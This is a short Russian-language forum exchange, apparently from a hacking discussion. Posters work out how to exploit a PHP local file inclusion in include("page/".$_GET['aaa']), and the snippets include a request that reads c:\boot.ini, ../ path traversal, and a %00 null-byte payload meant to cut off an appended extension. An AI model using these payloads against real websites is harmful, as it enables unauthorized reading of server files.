в этом вся проблема.. на локальной машине работает... там еще ./page/ добавляется перед инклудом =(
а работает только чисто с прямым путей
т.е. ?aaa=c:\boot.ini
>> include("page/".$_GET['aaa']);
как не помогает?? ../ и ты уже не в "page/" !
уверен, что расширение не добавляется? [/color]?aaa=../[/color]FILE.PHP[/color]%00[/color]